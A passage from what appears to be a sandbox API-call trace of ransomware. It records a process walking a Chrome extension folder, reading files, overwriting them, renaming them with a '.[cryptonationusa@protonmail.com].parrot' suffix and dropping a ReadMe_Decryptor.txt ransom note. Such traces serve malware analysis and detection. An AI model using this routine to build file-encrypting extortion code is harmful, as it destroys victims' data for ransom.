lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0070.253] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.253] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb711b540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb711b540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 1 [0070.253] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb711b540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb711b540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 0 [0070.253] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0070.255] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.255] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.255] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.255] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.255] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 1 [0070.255] lstrcmpW (lpString1="1.1_0", lpString2=".") returned 1 [0070.255] lstrcmpW (lpString1="1.1_0", lpString2="..") returned 1 [0070.255] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0070.262] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.263] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.263] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.263] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84234950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd47, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0070.264] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe5f, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.264] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.264] ReadFile (in: hFile=0x274, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0070.266] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.266] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd47, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xd47, lpOverlapped=0x0) returned 1 [0070.266] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.267] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe5f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.267] CloseHandle (hObject=0x274) returned 1 [0070.267] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.279] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b5, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.279] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.279] ReadFile (in: hFile=0x274, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0070.280] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.280] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x9d, lpOverlapped=0x0) returned 1 [0070.281] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.281] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.281] CloseHandle (hObject=0x274) returned 1 [0070.281] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.284] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x174, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.284] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.284] ReadFile (in: hFile=0x274, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0070.285] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.285] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5c, lpOverlapped=0x0) returned 1 [0070.285] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.285] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.285] CloseHandle (hObject=0x274) returned 1 [0070.285] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.290] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x177, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.290] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.290] ReadFile (in: hFile=0x274, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0070.291] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.291] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5f, lpOverlapped=0x0) returned 1 [0070.291] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.291] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x177, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.291] CloseHandle (hObject=0x274) returned 1 [0070.292] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.294] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.295] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.295] ReadFile (in: hFile=0x274, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0070.296] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.297] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2d6, lpOverlapped=0x0) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.297] GetLastError () returned 0x0 [0070.297] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0628 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d9f38 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0628 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5da120 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9f38 | out: hHeap=0x5b0000) returned 1 [0070.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69a250 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da120 | out: hHeap=0x5b0000) returned 1 [0070.298] WriteFile (in: hFile=0x274, lpBuffer=0x69a250*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x69a250*, lpNumberOfBytesWritten=0x18e024*=0x3f8, lpOverlapped=0x0) returned 1 [0070.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.298] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.298] CloseHandle (hObject=0x274) returned 1 [0070.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0070.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5d0628 [0070.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0070.299] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0628 | out: hHeap=0x5b0000) returned 1 [0070.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0070.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0070.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0070.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0070.301] GetFileType (hFile=0x274) returned 0x1 [0070.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.312] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.314] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.315] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.315] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.315] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0070.315] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0070.315] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0070.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9f38 [0070.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x692410 [0070.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9f38 | out: hHeap=0x5b0000) returned 1 [0070.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9d20 | out: hHeap=0x5b0000) returned 1 [0070.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9d20 [0070.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9e48 [0070.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.316] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.317] lstrcmpW (lpString1="..", lpString2=".") returned 